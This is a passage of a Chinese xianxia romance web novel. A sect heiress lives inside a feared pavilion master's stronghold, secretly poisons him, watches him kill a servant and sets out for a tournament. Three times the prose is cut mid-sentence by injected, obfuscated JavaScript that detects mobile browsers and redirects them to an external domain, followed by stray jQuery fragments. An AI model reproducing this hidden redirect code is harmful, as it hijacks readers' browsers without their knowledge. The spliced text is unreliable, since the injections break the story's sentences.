那些因反噬发作在皮下疯狂游窜红丝终于乖顺的缩回血管,只在他的肌肤留下一些细密的血痕。而她的脚踝上,赫然多了一圈泛红的指印。 洛熙揉了揉揉酸痛的脚腕:“陆阁主这是恩将仇报?” 陆景桓闷在她膝头,气息仍未平复:“第七节的羽音,你故意弹低半调。” 洛熙眨眨眼:“陆阁主,是你听错了。” 千昼被轻轻搁在一旁,琴弦上还残留着淡淡的灵力微光。陆景桓的呼吸终于平稳,只是仍伏在洛熙膝头不起。 洛熙垂首望着他,伸手就去推他沉甸甸的脑袋:“陆阁主,你要趴到什么时候。” 他费力的抬起头,身子后仰,倚在床沿上,脸色苍白,眉宇间还拢着化不开的苦楚。 洛熙眼珠转了转,探头小心翼翼的问道:“陆景桓,你这红丝缠,到底是什么?” 陆景桓垂下眼,望着地上破碎的瓷片,语气仍是一如既往的冷淡漠然,仿佛再说一件无关紧要的小事:“我的,血。” 他抬起手,苍白的手腕上还残留着几道未消的血痕,像是被什么利器割伤过,又像是从内里撕裂的伤口。 “每月反噬之时,血脉逆流,血气化丝,如万蚁噬心。” 洛熙缓缓瞪大了双眼,竟从难言复杂的情绪中品到了一丝苦涩。 她在典籍中见过无数邪功,噬魂夺魄,以血养煞,无一不是踩着他人尸骨登天。可从未见过有人以自身血肉为祭,将经脉化作牢笼,囚禁这般蚀骨灼心的痛楚。 方才戏弄他的那点欢愉,忽然如指间沙,无声消散。 “陆景桓……”她声音不自觉地轻了下来,“你,为何练这种东西?” 陆景桓眼底闪过一丝晦暗不明的情绪,拇指无意识的摩挲着食指指腹,久未作声。 洛熙等了片刻,见他无意作答,忽然觉得自己问的有些多余,也不再追问。她抱起千昼,转身时素白飘带带起一缕若有似无的海棠花香。 “陆阁主,别忘了我们之间的约定。” 她正欲推门离去,身后传来一声低唤: “等等。” 洛熙收回手,转身望向他。 陆景桓的面容在烛火的映照下半明半暗。墨发散乱地垂落肩头,半倚床榻的姿态挺拔依旧。 他盯着她的身影,唇线抿紧,像是有什么话在齿间辗转了千百遍,最终化作一句: “三日后,那三页密卷自会奉上。” “哦?不扣着威胁我了?” 陆景桓面无表情:“再废话,现在就烧了它。” 洛熙轻笑,推门离去时,听见身后传来一声极轻的,近乎咬牙切齿的: “……小疯子。” 4. 抢发带 洛熙脚步声渐远,陆景桓望着摇曳的烛影,眸中染上了一层薄霜,冷冰冰的开口: “凤临。” 屏风后一道黑影无声跪落:“阁主有何吩咐。” “去替青萝。” “是。” 屋内重归寂静。不多时,青萝的裙角在屏风边沿静止,她的剪影投在素娟上,连呼吸都敛的几不可闻。 “阁主,洛姑娘这几日除了抚琴,未做他事。”她低声汇报着洛熙这三日的行动。 “她弹的什么曲子?” 青萝垂首:“属下不通音律,只觉那琴音时而清越,时而低沉,不似寻常曲调。” 陆景桓若有所思的点了点头。 看来那密卷中确实藏着他无法窥见的秘密,至于这秘密是什么,恐怕连她也因内容有限无法窥得全貌,便是只能日日夜夜的抚她那把琴。 不过,不着急,时日长了,看的密卷够多了,他就不信她还能不露蛛丝马迹。 “继续盯着。”他手腕一翻,五指没入烛焰,任由火光缠绕指节。 “我倒要看看,她能藏多久。” 洛熙自听雪轩归来后,便一直坐在案前发呆。 真是苍天有眼。 令整个江湖闻风丧胆的魔头,反噬发作时竟是那般狼狈的模样。 若在他反噬最盛时下手...... 可这样的念头刚起,她又锁着眉摇了摇头。 青萝、凤临、还有今日那个深不可测的白发老者。这些人守在陆景桓身边,绝非摆设。况且,阁中的能人异士绝对远不止于此。 再没摸清敌人底细时下手,显然是一种很愚蠢的行为。 正思忖间,一阵敲门声打断了她的思绪。 “姑娘,您前些日子吩咐的衣裳,已经做好了。”青萝清亮的声音透过门板传来。 洛熙收敛思绪,将案上凉透的茶盏推至一边:“青萝姑娘,请进。” 门轴转动发出细微的吱呀声,青萝将托盘放在案几边缘。 “姑娘试试是否合身,若有不妥,属下再拿去改。” 洛熙看着托盘中折叠整齐的几件衣物,衣料在烛火映照下泛着柔和的光泽,虽看不出样式,但从边缘处可依稀辨处都是极淡雅的颜色,覆盖在最上面的那件是最亮眼的浅绿。 她伸手覆上衣物,衣料虽看着硬朗,触感却意外的绵软光滑,洛熙略有诧异,这衣物竟是水火不侵,千金难求的雪缎所制。 陆景桓倒是舍得。 “有劳了。” 青萝屈膝行礼,正要离去,洛熙忽然出声:“今日那位白发老者,是阁中长老吗?” 青萝脚步一顿:“回姑娘,那位乃是柳长老,执掌药阁,善岐黄之术。” 洛熙若有所思。 “原来如此。” 青萝微笑着点了点头,退了出去。 门扉闭合,室内再次陷入死寂,洛熙将目光从衣物上移开,抬步走向了窗边。 她还是不太适应这里的夜晚,总是沉寂的有些反常,明明是盛夏,却连一两声蝉鸣也听不到。 她俯身撑在窗沿,轻叹一声,大半身子探出窗外,轻柔的晚风吹起她的发带,没了白日的闷燥,清凉宜人,也让她沉郁的心绪好了几分。 “若是热闹一些,便好了......”她自言自语,似乎想到了什么,唇角不自觉的扬起。 不知过了多久,她从回忆中脱离,揉了揉眼,才意识胳膊已经有些麻了,她合上窗,吹熄了烛火,倦极入眠。 第二日清晨,她迷迷糊糊的听到一阵切切察察的交谈。 “辰时了......” “是啊,这早膳往日卯时就送来了,今日敲门也没人应,莫不是到现在姑娘还在睡着?” “要不再等等吧......” 洛熙缓了缓神,这才确定自己不是在做梦,而是一觉睡到了辰时,她翻身下床,帘帐外果然已经天光大亮。 “进来吧。” 门外似乎传来侍女如释重负的轻叹,房门被推开,丰盛的膳食摆在了圆桌上。 二人福了福身退了出去,洛熙揉了揉酸胀的太阳穴。琴疗术法虽强大,终究还是太耗灵力。 吃过早膳,洛熙简单梳洗后从五六件衣物中挑了一件最清爽的白色。衣物上身冰凉顺滑,腰间一根红色束带和衣袖上红线勾勒的海棠相呼应,素雅又不失矜贵,竟意外的合她心意。 她展开双臂对着铜镜转了一圈,越发喜欢,还特意为它配上一条新的飘带,更衬的她气质清冷,如天上的仙子。 洛熙满意的理了理垂至腰间的发带,登时也有一逛暗夜阁的闲适心境,除了流霞苑,她还从未看过别处的光景。 晨雾氤氲中,洛熙漫无目的地走着,不知不觉已穿过几重院落。 青石小径渐渐被野草覆盖,四周人声渐远,唯有风拂过竹叶的沙沙声。她拨开最后一丛垂落的竹枝,眼前豁然开朗。 一弯清浅的小河横在面前,水面上浮着零星的竹叶,随波轻旋。河中央,一座六角小亭立于其上,此处幽静无人,倒是个弹琴的好地方。 忽然一道劲风袭来,她侧身躲避,却觉脑后一轻。 素白发带被一道银光挑飞,如折翼的蝴蝶翩然坠落,最终落在一只竹节般清瘦的手上。 那手指苍白修长,此刻正漫不经心地缠弄着她的发带。 “陆阁主。暗夜阁的待客之道,就是偷袭?” 陆景桓专注的把玩着手上的丝带,反问道:“客?你见过哪个客人,日日窥伺主人家的秘密?” 发带在他掌心越缠越紧,洛熙注意到他腕间伤口又渗出血丝,是昨夜反噬的痕迹。 洛熙懒得与他多费口舌,径直向前一步。 “还我。” 她伸手,指尖几乎抵上他的胸口。 陆景桓反手将发带藏至身后;“自己拿......若够得着的话。” 洛熙收回手,后退两步。 “无趣。” 她转身就走,还没迈出两步,陆景桓突然闪至她面前:“昨晚的《喜鹊闹喜》……” “好听吗?” “难听的想把你扔河里。” 洛熙指了指他渗血的手腕,语气带着几分幸灾乐祸:“可惜现在扔不动。”说完轻盈跃上竹枝,回头补了句:“对了,那曲子还有下半阙,叫......《乌鸦哭丧》。” 一片竹叶“唰”的飞来,她的身影早已消失在密林中。 陆景桓站在原地,指间的素白发带被风吹的微微扬起,在晨光下近乎透明。他盯着那缕飘摇地绸缎,狭长的双眸微微眯起。这发带上被施了咒,有疗愈温养伤口的功效,她若想关键时用它包扎伤口也说得通,可为何要将它明晃晃的挂在头上? 他又盯着那发带看了一会,没瞧出什么端倪,就将它随意的塞入袖中,转身向竹林深处走去。 洛熙冷着脸往回走,脚步比平时快了几分。她伸手摸了摸散落的发丝,心头火越窜越高。 陆景桓这小人,连根发带也要抢,无端坏了她的好心情。 不过...... 那厮那杯毒酒的药效怎么还未发作,那毒乃她亲手所制, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046913|178981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不该这么久还未见效,她分明亲眼看着他喝下去了。 难道......是剂量不够大? 魔头果然与众不同,下毒都要比常人多下几倍的剂量。 因为得出这一结论,足下步伐都轻快了些许。转过一处回廊时,前方隐约传来一阵窸窸窣窣的声响,像是有人在草丛里翻找什么。她停下步伐,警觉的望去,看见一个少年正撅着屁股在花丛里扒拉,嘴里还嘀嘀咕咕:“跑哪去了,完了完了……” 洛熙一眼便认出是那日自称“阿姐像她”的侍卫星宸。 她本想绕开,却听“咔嚓”一声脆响,星宸一脚踩空,整个人栽进了花丛里,脑袋上还顶着几片花瓣,他狼狈的抬头,正对上她居高临下的目光。 “洛、洛姑娘!”他手脚并用地把自己从地上刨起来,脸涨的通红,“您怎么在这儿?” 洛熙淡淡扫他一眼:“你又在做什么?” 星宸挠了挠头,讪讪道:“柳长老养的灵猫偷吃了药阁的“千饮醉”,现在满院子乱跑,柳长老让我逮它回去醒酒。” 话音刚落,一道雪白的影子嗖地从他们脚边窜过,嘴里还叼着半截草药,尾巴翘的老高,活像个醉汉。 星宸哀嚎一声,拔腿就追:“祖宗!别跑了!” 洛熙在一旁袖手旁观,完全一副置身事外的姿态,那猫却一个急转弯,跳上了她的肩膀,毛茸茸的脑袋蹭了蹭她的脸颊,然后,“嗝”地打了个酒嗝。 洛熙:“……!”一只猫,会跳这么高吗? 星宸僵在原地,一脸惊恐的指着那猫:“洛姑娘,它它它……它平时连阁主都挠的!” 洛熙转头,和肩上的醉猫大眼瞪小眼。猫儿眯着琥珀色的眸子,歪头“喵”了一声,尾巴缠上她的发丝,俨然一副赖定她的架势。 星宸见这它没有攻击洛熙的迹象,这才松了口气,小心翼翼道:“要不,您帮个忙?” “好啊。”洛熙将肩上的醉猫揽进怀里,“带路。” 星宸“哎”的应了一声,忙不迭的跨到洛熙身侧,引着她向药阁走去,嘴里噼里啪啦倒豆子似的:“说出来您可能不信,这猫其实是阁主捡的。那会它浑身是伤,阁主用红丝缠给它缝伤口,我们都以为阁主是想拿它练功,没想到竟是救它。结果它醒来第一件事就是挠了阁主一爪子,阁主当时脸都黑了,还是柳长老……” 洛熙挑了挑眉,有些意外,没想到陆景桓那冷心冷清的魔头还会救一只猫,倒是件稀罕事儿。 二人的身影逐渐远去,星宸手舞足蹈的比划着,声音渐渐远去。 洛熙将怀中酣睡的猫递给柳长老时,老人家的银须都翘了起来。 “多谢洛姑娘了。” 洛熙颔首转身,却在迈出第三步时鬼使神差的回首,只见老人家正从袖中掏出个小瓷瓶,献宝似的晃了晃:“小祖宗,尝尝老夫新炼的醒酒丹。” 那猫却一爪子拍飞瓷瓶,圆滚滚的丹药滚了满地。柳长老也不恼,反而乐呵呵弯腰去捡:“脾气倒随了你那救命恩人。” 洛熙垂眸看着滚落到脚边的药丸,步子一折,又走了回去:“柳长老,近日初来贵阁,似是有些心绪不宁,夜里总睡不安稳,可否劳您为我开一些助眠的药?” 柳长老直起身,慈祥一笑,“姑娘随老身来。” 他将怀中的白猫交给身旁的侍女,引着洛熙进了药房。 照常为洛熙看了脉,柳长老诊断洛熙是着了寒,特意叮嘱她虽时值盛夏,但睡前一定要合了窗,洛熙连连应是。 半个时辰后,洛熙拎着几包草药心满意足的回了流霞苑。 5. 对弈 月光如练,悄然攀上洛熙淡蓝色的裙摆。行走间,衣裙光华流转,仿若数只看不见的萤虫围绕在身边轻舞。 所过之处,月光被衣料的光泽晕染,化作一片片流动的光带,给石缝中滑腻的青苔镀上了一层柔和的银边。洛熙脚步轻快,身形翩跹,与这梦幻景色融为一体。最终,停在了听雪轩门前。 抬起来的手还未触及门扉,就听室内传来陆景桓沉郁的声音:”进来。” 洛熙有些意外,掌心一翻,推门而入。 陆景桓头也没抬,“洛宗主,深夜来访,有何贵干。” 洛熙转身合上门,微微一笑:“贵阁的夜实在太过寂寥,陆阁主,会下棋吗?” 陆景桓放下书卷,抬眼看向她,冰冷的目光在她袖口短暂停留了一瞬,唇角微掀:“若早知洛宗主这般喜欢换新衣,就该将衣料换做普通的丝绸做上几箱送去。” 洛熙并未察觉到他的视线,走到他对面自然落座,反驳道:“丝绸如何算的上普通,寻常百姓就连补丁摞补丁的粗粝布衣都要穿到发白,穿得起丝绸的可都是非富即贵之人。” 陆景桓讥诮的弯了弯唇角,一个经历过灭门之仇的人,心里竟还存着这样无用又天真的怜悯。 他抬手为自己倒了一杯茶,淡淡道:“你倒是深感民生疾苦。” 洛熙暗自咬牙,决定不再废话。她状似随意的将袖子举到陆景桓面前:“陆阁主,这衣裳是什么料子?” 陆景桓看着几乎贴到自己脸上的袖摆,不动声色的向后倾了倾身子:“月锦。” “怪不得在月光下流光溢彩的。”她由衷感叹,又怜惜的摸了几下才收回袖子。 陆景桓扫过眼下茶盏,未置一词。 他将装着白子的棋奁推到洛熙面前,对着棋盘扬了扬下巴:“不是要下棋吗。” 洛熙暗自咂舌,在书桌上放棋盘的,她还是第一次见,这魔头还是个会享受生活的。 她伸手接过棋奁,只见陆景桓执棋的手在棋盘中央悬停了片刻,最终稳稳落于天元。 思索片刻,她手中白子落在了天元旁的星位上,目光不经意的瞟向那杯茶。 茶盏还飘着袅袅白烟,想来一时半会他是不会喝了,洛熙开始专心应对起眼前的棋局。 窗外的月轮悄悄爬过中天,将窗格的影子在地上转了个半圈。洛熙捻着手中白棋,凝眉观察着棋盘上严峻的局势,迟疑不定。 就在她要落子时,余光突然瞟见陆景桓抬手去端茶盏,她浑身一震,本因染上困意朦胧的双眼也渐至清明起来。 茶盏抵到唇边—— 陆景桓突然停下,将茶盏又轻放在了一旁。 “洛宗主。”他慢悠悠的将茶推到她面前,“不如你先喝。” 洛熙反手推了回去:“我不渴,还是留给陆阁主喝吧。” 陆景桓意味深长的瞥了洛熙一眼,若无其事的端起茶盏一饮而尽,末了扫了一眼棋盘,“死局。” 洛熙看着自己被围的水泄不通的棋子,面色从容道:“陆阁主,你素日行事作风便是如此武断吗?这世上多的是绝处逢生之事,眼下胜负未定,你凭什么断定它是死局?” 她目光灼灼,指尖棋子久久握在手心,不知过了多久,她终于落下棋子,落子的清脆声打破了一室沉寂。 她傲然抬首,眼中闪烁着自信的微光,“你看。”她的声音不大,却清晰的传入陆景桓耳中:“陆阁主认定之事,似乎也并不绝对。” 陆景桓望着棋盘上的棋子,不知想到了什么,面色渐渐阴沉下来。 他手指轻勾,衣袖中突然爆出数根红线,刹那间就将黑白错落的棋子连带着棋盘绞了个粉碎,飞扬的尘屑如沙尘暴一般向洛熙卷来。 被木屑兜头浇下的洛熙:“???” 下一秒,她双指迅速掐诀,一层淡蓝结界将她护在其中,可饶是她反应速度再快,还是免不了淋了满头碎屑。 待尘屑完全散去,她才空出手去拍打肩膀和头发,“陆阁主,愿赌服输,你这是做什么?”她的语调因愤怒而微微颤抖。 陆景桓气定神闲的坐在原位,没有被那漫天飞扬的木屑影响分毫,正双臂交叉,似笑非笑的看着灰头土脸的洛熙。 他的沉默更是让洛熙火冒三丈。 这魔头何止是阴晴不定,其性情之乖张离奇,简直令人发指! “陆阁主说的是。”她神色如常的说着违心的话,语气诚恳:“今日是我......技不如人,改日,我在好好领教陆阁主精湛高超的棋艺。” 说罢,也不等陆景桓的回答,起身离开了。 “绝处逢生......”,陆景桓低声轻喃,脑海中又不自觉的浮现出那个男人的模样。 在他的记忆中,那个男人对他总是一幅不苟言笑的模样。他曾一度期待他可以像对待旁人一般,抬手拍一拍自己的肩膀,说出一句在寻常不过的赞赏,可这份期待,终究未被实现。 母亲曾温声劝慰他道:“你的父亲,是对你寄予了厚望,才会如此严厉。若是有朝一日我们淮儿有了接管整个宗门的能力,他定然也会为我们的淮儿感到骄傲的。” “所以,淮儿要好好练剑,知道吗?” 那时的他懵懂无知,竟信以为真,开始日日苦练功法剑术。 可到头来,挥剑断他手筋、令他再难提剑、一身剑术尽废的,不也正是那个男人么。 “呵......” 那个男人不就是深谙绝处逢生的道理,才会那般对他赶尽杀绝。 * 洛熙坐在铜镜前,目光却久久停驻在衣袖上。 这衣料与雪缎不同,雪缎水火不侵,并不易沾染灰尘。可这身布料虽轻盈柔软,光彩流动如仙衣,却极易染上尘粒。 也正因如此,她才会将毒粉藏在袖子中。 可现下这满身的木屑,着实难以清洗。偏生那几件衣裙也只有一件这样的料子,若想故技重施,便只能先受着这一身木屑了。 次日,洛熙哈欠连连的在丑时起了身,丑时四刻已经侯在了膳房门口。 不过,她当然不是光明正大的守在此处,她对青萝和凤临的轮岗监视早有防备。故此掐了个隐踪诀,此乃琴宗独门术法,旁人自是无法识破。 就在她倚着墙根昏昏欲睡时,门扉轻启的响动生生截停了她的困倦。 一队灰衣厨娘鱼贯而入,秩序井然。不多时,冷灶就被点燃,木材燃烧发出“毕毕剥剥”的轻响,白布遮盖严实的锅沿缓缓冒出白汽,冷清的膳房开始热闹起来。 洛熙游走在厨娘们忙碌的身形间,四处张望,似在寻找什么。还险些因分神和一个端着食盘的厨娘撞上,幸而被她敏捷的避开了。 很快,她就发现了目标——砂锅中炖着的白粥。 白粥清香粘稠,还咕嘟咕嘟冒着泡。 灶前,一个双八年岁的少女正向粥中添加雪莲,她双颊晕红,面上洋溢着满满的幸福与喜悦,仿佛眼下熬的,不是一碗寻常的白粥,而是什么甜蜜美味的珍馐。 洛熙在她眼前挥了挥手,确认她真的看不到自己,衣袖一抖,簌簌金粉落下,眨眼间就在粥中消融不见。 此事也是多亏了青萝,三言两语就将她们阁主的饮食习惯抖了个干净。 “晚晴。”一个清脆的在身后响起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046914|178981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “昨夜你不是同我讲,你娘亲病重,来信让你辞假照料吗?” 洛熙扭头看过去,只见一个与煮粥女子年岁相仿的少女正款步走来。她同样身着灰衣,但绑了个俏皮的双丸发髻,眉眼灵动活泼,样貌十分讨喜。 被称作晚晴的女子上前几步握住她的手,咬着唇道:“缠枝,不瞒你说,哥哥说娘亲得的是痨症,怕是要费不少银钱。” 缠枝回握住她的手,关切道:“晚晴,你别担心,我这还有些积蓄,你先拿去用,治好婶子的病才是最要紧的。” 晚晴摇了摇头,四处张望一番,凑到缠枝耳边低声道:“不用,我哥哥为了寄了一株雪竹,是一种极其金贵珍稀的灵草。我本想直接献给阁主讨点赏,可你也知道,我们这些下人素日都是见不到阁主的。” “我想,若是我将它加入到阁主的糕点中,阁主定会传唤做糕点之人,许着会有重赏。” 缠枝沉默了半晌,为难的开口:“可是,你明知道......” 洛熙困意连连,对她们的闲聊也没什么兴趣,抬步出了膳房。 晚间,洛熙刚用过晚膳,就动身去了暗夜阁,迫不及待想看一看陆景桓出糗的样子。 刚走到听雪轩外,就听见里面传来叠声的求饶。 “阁主饶命,阁主饶命,是奴婢自作主张,您就饶了奴婢这次吧......” “晚晴,阁中有明确规定,阁主的膳食必须严格按照食谱制作,雪竹虽珍稀,可终归也是一味草药,你怎可擅自将其加入到阁中膳食中。幸得此次阁主有所察觉,未酿成大祸。可你此次有违阁中规定,自当受罚。”是青萝的声音。 “是,是,青萝大人教训的是,都是奴婢一时之过,奴婢认罚,什么惩处奴婢都认,只求阁主留奴婢一条贱命,让奴婢回家看一眼病重的娘亲吧。” “去夜枭领罚吧。” “是,是,谢阁主,谢青萝大人,奴婢这就去。” 紧接着是宫女起身衣料磨蹭的沙沙声。 “青萝,暗夜阁成立之初,你便在了。五年了,还是没改掉心软的毛病吗?”陆景桓沉声道。 “啊——!” 门内传来一声撕心裂肺的尖叫,接着是重物撞上木板的闷响,下一刻,破碎的木门连带着一团血肉模糊的人影从洛熙面前飞了过去。 洛熙蹙着眉后退一步,透过破碎的门框看过去,只见一张红丝缠织就的红网正悬在半空,红丝上的血珠悬在其上,将落未落。 圆桌上一盘糕点掀翻在侧,那糕点精致美观,形似娇颜的桃花,通体是淡雅的浅粉,花心则以绿色点缀,一看便知是花费了不少心思的。 洛熙扭头看着一旁已经辨不出人形的晚晴,眼中流露出些许不忍和悲痛。 明明晨时她还抓着缠枝的手诉苦,她费尽周折也只不过是想为娘亲筹些银两治病。却不想却落得个死无全尸的下场。 外界传闻终归是传闻,当她真的目睹了他的残忍,还是觉得遍体生寒,如坠冰窟。 她如同被钉在了原地,怒火与心痛在胸腔冲撞,过了良久才找回自己的声音:“陆景桓,你怎能如此泯灭良知、毫无人性!” 陆景桓冷笑一声,看向她的眼神阴鸷冰冷:“洛清音,我暗夜阁的事还轮不到你来指手画脚,给我滚出去!” 洛熙自知与这样的人争辩无益,沉默着走到晚晴身边。神色悲悯,她掌心拂过晚晴的尸体,点点荧光落在她身上,洗去了一身血污和伤痕,慢慢显出了她原本的模样。 陆景桓面无表情的看着,对身侧的青萝道:“等洛姑娘发完善心,把那奴婢的尸体......扔去后山,喂蛇。” 6. 群仙会(1) 晚晴一事后,洛熙已经在流霞苑闷了两日。连她自己都说不清,那日她为何会那般失态,将积压在心底的嫌恶与厌弃,毫不掩饰的泼向了他。 其实这三年来,她极少有那样情绪外显的时候。即便她对他恨之入骨,素日里也能将这份恨意妥帖的藏于温顺的眉眼下。大抵,那个叫晚晴的女子,还是勾起了一部分她最不愿想起的回忆吧...... 她的瞳孔颤了颤,思绪重新回到手中攥着的密卷上,是青萝方才送过来的。 在鲜血作用下,密卷上的金文如游蛇般蠕动重组,最终凝聚成一行血色的符文: “灵琴七殇,与千昼同根同源,阴阳相生。世间能应千昼杀意之器,唯七殇。” 七殇? 作为琴宗少宗主,她自幼熟读宗门典籍,却从未见过关于‘七殇’的只言片语。可若七殇确与千昼同根同源,那其自当也是灵琴而非凡物。 灵琴往往蕴涵无上神力,即便流落凡间,也定会因它巨大的威能为世人所知晓,而不是默默无闻,无一人传颂。 混沌的记忆突然如闪电般劈开迷雾,那是她半年前在酒馆做杂役时无意中听来的一段对话: “听说了吗?药王谷今年的群仙会怕是要出大事!” “能有什么大事,每年的群仙会都那样,魁首给些奇珍丹药,除了那些修为低下想靠丹药突破的,哪有什么厉害人物儿。” “这次不一样,据说今年的彩头是把通体漆黑的古琴。”说话之人左右张望一番,压低嗓音道:“琴音一起,连山谷的毒瘴都能冻成冰渣!” “嘶,你听谁说的,保不住是哪个江湖骗子信口胡诌。” “嘿!你不信出去打听打听,看看现在的各大门派是不是都开始早早张罗弟子了......” 当时她正擦拭酒坛,没有引起那两人的注意,才意外听来了这段对话。可她当时对此不屑一顾,琴宗覆灭后,这世间哪还有什么真正的灵琴? 可如今想来,“冻瘴成冰”的威能,与千昼“枯木逢春”的生机,不正对应了密卷上的那句‘同根同源’。 不论密卷记载是否属实,今年的群仙会,她都不得不去了。而今现下已值孟秋,群仙会怕是已经启会,她不能再耽搁了。 * “我要参加群仙会。” 她推开听雪轩的门,声音惊碎一室寂静。 陆景桓从书卷中抬起头,漠然的目光落在她身上:“琴宗灭门真凶还在暗处,你便如此急不可耐的要去送死?” “不劳费心,我既然敢去,自然有把握活着回来。倒是陆阁主,与其在这里担心我,倒不如多担心担心自己。” “呵......”陆景桓放下书卷,按了按额角,声线沉哑:“洛清音,你最好能永远于我有用。否则,你失了价值的头一日,就是你的死期。” 洛熙昂着头,不卑不亢:“陆阁主,你也最好日日祈祷,我永远需要那琴宗密卷。” “我倒想看看,你还有什么能耐。”他眸中轻慢,重新拿起书卷,对身后的凤临命令道:“送洛姑娘出去。” 在一旁的风临吓的心惊肉跳,大气都不敢喘一下,得到他的命令那一刻如蒙大赦:“是!” 残阳如血,映红了半边天,微风拂来,带来一阵清甜的花香,洛熙跟在凤临身后,安静的欣赏着路边娇艳的月季花。 行至高墙下,风临摘下腰间玉佩,清澈的灵力注入其中。随着灵力的注入,围墙也从中央亮起清透的荧光,那光团逐渐扩大,不多时就撑出了一道拱门。 洛熙正要出去,风临突然喊住了她:“洛姑娘。” 洛熙步子一顿。 风临上前几步,将一块圆形镂空的浅绿色玉佩递给她,“洛姑娘,待你归来时,需用它打开阁中结界。” 洛熙点了点头,接过玉佩,“多谢。” 围墙在身后缓缓闭合,洛熙最后回望了一眼暗夜阁高耸的黑色轮廓。夕阳中,她的身影如一道白练,很快消失在苍茫暮色中。 药王谷山下的客栈里,掌柜拄着下巴昏昏欲睡。 “啪”的一声,洛熙将一锭银子拍在木桌上。那掌柜吓得一个激灵,登时来了精神: “客官打尖还是住店?” 洛熙扫过掌柜谄媚的嘴脸,“住店,来间上房。” “好嘞!” 那掌柜答应的爽快,一把抓过桌上的银子。手中算盘打的噼啪响。 “掌柜的,不必找了。听说药王谷的群仙会已经开始了?” 那掌柜闪着精光的眼睛上下打量了一番洛熙,见她衣着不凡,容貌出众,气质更是出尘。往前凑了凑低声道:“昨儿刚开始,只是姑娘有所不知,这次群仙会不同往年,听说那天竹派派了十二个弟子,今早只剩了九个,那两个重伤不起都歇在了药王谷后山。” 洛熙装出一副害怕的样子,缩了缩脖子:“往年不都是点到为止吗,这次怎得如此严重?” 见洛熙一无所知,那掌柜顿时来了兴致:“姑娘没听说吗,今年苏谷主不知哪里得了一把魔琴作为彩头,有知情人说那琴弦都冒着黑气。” 冒着黑气......也不知此琴是否就是密卷中记载的七殇。 正当洛熙不知装出什么反应时,客栈门帘被风掀起,三个白衣修士大步走了进来。 洛熙接过房牌转身上楼,余光瞥见那三人领口处绣着银色的莲花,是玉莲谷的人。 回到房中,洛熙辗转难眠。即便是深夜,窗外依旧人声鼎沸,与暗夜阁永恒的沉寂截然不同。 喧嚣声中,五年前群仙会的记忆愈发清晰。 那是她唯一一次随师父造访药王谷。那时的谷主苏钰只是一个比她年长两岁的男孩,温润的眉眼间还难褪稚气,却已执掌整个药王谷,将谷中事务打理的井井有条。 犹记那时的苏钰一袭淡蓝色长衫,执礼时袖口绣着的青竹纹在阳光下透着清润的亮光。 当时她年岁尚小,正是对新奇事物懵懂好奇的时候。趁着师父与他寒暄,被谷中的奇珍异草吸引,竟误入了后山那片笼罩在紫雾中的毒瘴林。 她至今还记得瘴气侵入肺腑腐蚀脏器那般生不如死的痛楚。再醒来时,群仙会已散,映入眼帘的是药庐里成排的紫檀药柜,以及正在整理药材的苏钰。 后来她才知晓,那片禁地的瘴气见血封喉。是苏钰翻遍典籍寻来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046915|178981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解法,更是师父折损半数修为才将她才鬼门关拉来回。 若师父没有折损那半数修为,灭门之夜是否就不会…… 思绪回笼,洛熙攥紧被角。明日便是群仙会最后一日,她一定要成为魁首。 第二日,药王谷人头攒动,比试台四周已经围满了各派修士。洛熙一身素衣,面纱轻覆,安静的站在人群边缘。 擂台之上,几个白衣侍女手捧乌木托盘鱼贯而入,盘中红绸托着数十枚木签。 身后一位白发老者站在擂台中央,他虽头发花白,看起来却身体硬朗健硕,全然没有半分佝偻之态。 他充满威严的目光扫过台下,本喧嚣的人潮瞬间安静了下来。 “群仙会比试,今日与前两日规矩相同。诸位抽签决定对手,抽签结束需去记名册记录姓名。除不能使用本命灵器外,并无过多要求,现下,就请诸位侠士抽签。” 说完,那老者退了几步,端着托盘的侍女上前,为首的女子广袖轻扬:“请诸位侠士抽签。” 洛熙不急不缓地排在队尾,她拿起拖盘中的木签,一股清冽药香沁入鼻尖。 五十六。 她心里略一思量,看来是数字相同为一组,只是药王谷竟可以将参会人数把控的如此精准? 洛熙作为最后一人,在记名册签完名字没多久比试就开始了。 比试从第一组开始,虽然不能使用本命灵器,却也不影响众人发挥。台上之人挥剑自如,比试倒也点到为止,掉下擂台即为输。 到第六组时,只有一壮汉上台,却不见对手。 “六号!哪个是六号!” 台上壮汉如铁塔般壮实,见对手迟迟不来,在台上振臂高呼着,古铜色肌肉将粗布短打撑得紧绷。 “是姑奶奶我。” 清凌凌的嗓音如珠落玉盘。一个束着高马尾的绛衣少女跃上擂台,手中握着一把银光闪闪的软剑。她不过壮汉口高,纤细得仿佛能被对方一掌捏碎。 